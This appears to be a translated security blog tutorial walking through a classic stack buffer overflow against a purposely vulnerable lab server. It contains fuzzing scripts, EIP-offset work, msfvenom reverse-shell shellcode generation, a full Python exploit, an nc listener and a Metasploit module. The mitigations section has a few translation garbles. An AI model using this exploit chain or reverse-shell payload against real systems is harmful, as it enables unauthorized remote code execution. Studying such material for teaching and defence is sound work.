Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

Creating an Exploit Step by Step

Leer en espanol
Creating an Exploit Step by Step

Table of contents

Exploit development is one of the fundamental skills in offensive cybersecurity. Understand how vulnerabilities are discovered, exploited, and c ===

Introduction to exploit development

Exploit development is one of the fundamental skills in offensive cybersecurity. Understanding how vulnerabilities are discovered, exploited, and turned into reusable tools (such as Metasploit modules) is essential for any security professional, whether it's pentesting or understanding how to protect systems.

In this article we are going to go through the complete process: from analyzing a vulnerable server with a buffer overflow classic in the stack (stack), to writing a working exploit and turning it into a Metasploit module.

The vulnerable server

To practice, we will use a simple TCP server written in C that contains a deliberate vulnerability: a strcpy without boundary control that copies network data directly to a fixed-size local buffer.

c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define PORT "7777"
#define BACKLOG 10

/* Función vulnerable: copia net_buffer en un buffer local
   de solo 120 bytes sin verificar longitud */
void vulnerable(char *net_buffer)
{
    char local_buffer[120];
    strcpy(local_buffer, net_buffer);  // ← VULNERABLE
    return;
}

The function vulnerable() is the core of the problem: declare a local_buffer of 120 bytes on the stack and uses strcpy() to copy data received from the network without any length validation. If the client sends more than 120 bytes, it will overwrite the saved return address (return address) on the stack, allowing the attacker to redirect program execution.

Step 1: Identify the vulnerability

The first step in developing an exploit is to identify where the vulnerability lies. In source code, we look for unsafe functions like:

  • strcpy() — does not check limits
  • strcat() — concatenates without checking available space
  • sprintf() — format without destination limit
  • gets() — reads without limit (removed in C11)

In our case, the vulnerability is evident in the function vulnerable(). In a real scenario, we would have to do fuzzing to discover it.

Step 2: Cause the crash (fuzzing)

Before writing the exploit, we need to confirm that we can cause a controlled crash. We compile the server without stack protections for easy practice:

Bash
# Compilar sin stack canary ni ASLR para práctica
gcc -fno-stack-protector -z execstack -no-pie -o vuln_server vuln_server.c

# Desactivar ASLR temporalmente (requiere root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Ejecutar el servidor
./vuln_server

Now we send a test payload with Python to cause the crash:

python
import socket

target = "127.0.0.1"
port = 7777

# Enviar 200 bytes de 'A' para desbordar el buffer de 120
payload = b"A" * 200

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
banner = s.recv(1024)
print(f"[*] Banner: {banner}")
s.send(payload)
s.close()
print("[*] Payload enviado")

If the server crashes with a Segmentation Fault, we have confirmed that the vulnerability is exploitable.

Step 3: Control EIP

The next objective is to determine exactly what offset of the buffer the return address (EIP on x86) is overwritten. For this we use a unique pattern generated by Metasploit:

Bash
# Generar patrón único de 200 bytes
msf-pattern_create -l 200

# Después del crash, buscar el valor de EIP en el patrón
# Si EIP = 0x63413163 (ejemplo)
msf-pattern_offset -l 200 -q 63413163
# Resultado: Exact match at offset 132

This tells us that after 132 bytes of padding, the next 4 bytes overwrite EIP. We verify with a script:

python
import socket
import struct

offset = 132
eip = b"BBBB"  # 0x42424242

payload = b"A" * offset + eip + b"C" * 64

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 7777))
s.recv(1024)
s.send(payload)
s.close()

In GDB, if we see that EIP is worth 0x42424242, we confirm full control over the execution flow.

Step 4: Find space for shellcode

We need to locate where to put our shellcode in memory. Common options are:

  • After EIP: the bytes following the return address (the C of our payload)
  • Before EIP: the fill buffer itself (the A)

For a 120 byte buffer, we usually put the shellcode after EIP and use an instruction JMP ESP as a springboard:

Bash
# Buscar instrucción JMP ESP en las librerías cargadas
msf-jmpcall -s jmp -r esp /usr/lib/libc.so.6

# O dentro de GDB:
# (gdb) find /b 0x08048000, 0x0804ffff, 0xff, 0xe4

Step 5: Generate the shellcode

We use msfvenom to generate shellcode that opens a reverse shell:

Bash
# Generar shellcode para reverse shell Linux x86
# Excluimos bytes nulos (\x00) que cortarían strcpy
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -b '\x00' \
  -f python -v shellcode

Step 6: Build the full exploit

python
#!/usr/bin/env python3
import socket
import struct

# Configuración
TARGET = "192.168.1.50"
PORT = 7777
OFFSET = 132

# Dirección de JMP ESP (ajustar según el entorno)
JMP_ESP = struct.pack("<I", 0x08049263)

# NOP sled para mayor fiabilidad
NOP_SLED = b"\x90" * 16

# Shellcode generado con msfvenom (reverse shell)
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100
#   LPORT=4444 -b '\x00' -f python
shellcode =  b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4\x5b\x53"
# ... (shellcode completo generado por msfvenom)

# Construir el payload
payload = b"A" * OFFSET      # Relleno hasta EIP
payload += JMP_ESP            # Sobrescribir EIP con JMP ESP
payload += NOP_SLED           # NOP sled de seguridad
payload += shellcode           # Shellcode de reverse shell

# Enviar exploit
print(f"[*] Conectando a {TARGET}:{PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
banner = s.recv(1024)
print(f"[*] Banner: {banner.decode()}")
print(f"[*] Enviando payload ({len(payload)} bytes)")
s.send(payload)
s.close()
print("[*] Payload enviado. Verifica tu listener.")

Before launching the exploit, we set up a listener on our machine:

Bash
nc -lvnp 4444

Step 7: Convert it to a Metasploit module

Once our exploit works, we can integrate it into the Metasploit Framework as a reusable module:

Ruby
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnerable Server Buffer Overflow',
      'Description'    => %q{
        Exploit de buffer overflow para el servidor vulnerable
        que escucha en el puerto 7777. La función vulnerable()
        usa strcpy() sin verificar límites.
      },
      'Author'         => ['rokitoh'],
      'License'        => MSF_LICENSE,
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Targets'        => [
        ['Linux x86', { 'Ret' => 0x08049263 }]
      ],
      'DefaultTarget'  => 0,
      'Payload'        => {
        'Space'    => 400,
        'BadChars' => "\x00"
      }
    ))

    register_options([
      Opt::RPORT(7777)
    ])
  end

  def exploit
    connect

    # Recibir banner
    banner = sock.get_once
    print_status("Banner: #{banner}")

    # Construir buffer
    buf = rand_text_alpha(132)     # Relleno
    buf << [target.ret].pack('V')  # EIP → JMP ESP
    buf << make_nops(16)            # NOP sled
    buf << payload.encoded          # Shellcode

    print_status("Enviando exploit (#{buf.length} bytes)")
    sock.put(buf)

    handler
    disconnect
  end
end

To use the module, we copy it to the Metasploit modules directory and run it:

Bash
# Copiar el módulo
cp vuln_server_exploit.rb ~/.msf4/modules/exploits/linux/misc/

# En msfconsole
msf6> use exploit/linux/misc/vuln_server_exploit
msf6 exploit(vuln_server_exploit)> set RHOSTS 192.168.1.50
msf6 exploit(vuln_server_exploit)> set LHOST 192.168.1.100
msf6 exploit(vuln_server_exploit)> set PAYLOAD linux/x86/shell_reverse_tcp
msf6 exploit(vuln_server_exploit)> exploit

Modern protections against buffer overflow

On modern systems, several protections make these types of exploits difficult:

  • ASLR (Address Space Layout Randomization): randomizes memory addresses on each run, making the location of JMP ESP
  • Stack Canaries: sentinel values ​​that are checked before returning from a function; if they are overwritten, the program aborts
  • NX/DEP (No-Execute / Data Execution Prevention): marks the stack as non-executable, preventing direct execution of shellcode
  • FOOT (Position Independent Executables): the binary itself is loaded at random addresses
  • RELRO- protects the GOT table against overwriting

Techniques like R.O.P. (Return-Oriented Programming), ret2libc and format string attacks They allow you to evade some of these protections, but their complexity is significantly greater.

Legal and ethical considerations

The development of exploits is a legitimate activity within the field of cybersecurity, as long as it is carried out:

  • In controlled laboratory environments
  • With explicit authorization of the system owner
  • In the context of professional penetration testing
  • For educational or security research purposes

Using exploits against unauthorized systems is a crime in most jurisdictions.

:wq!

Comments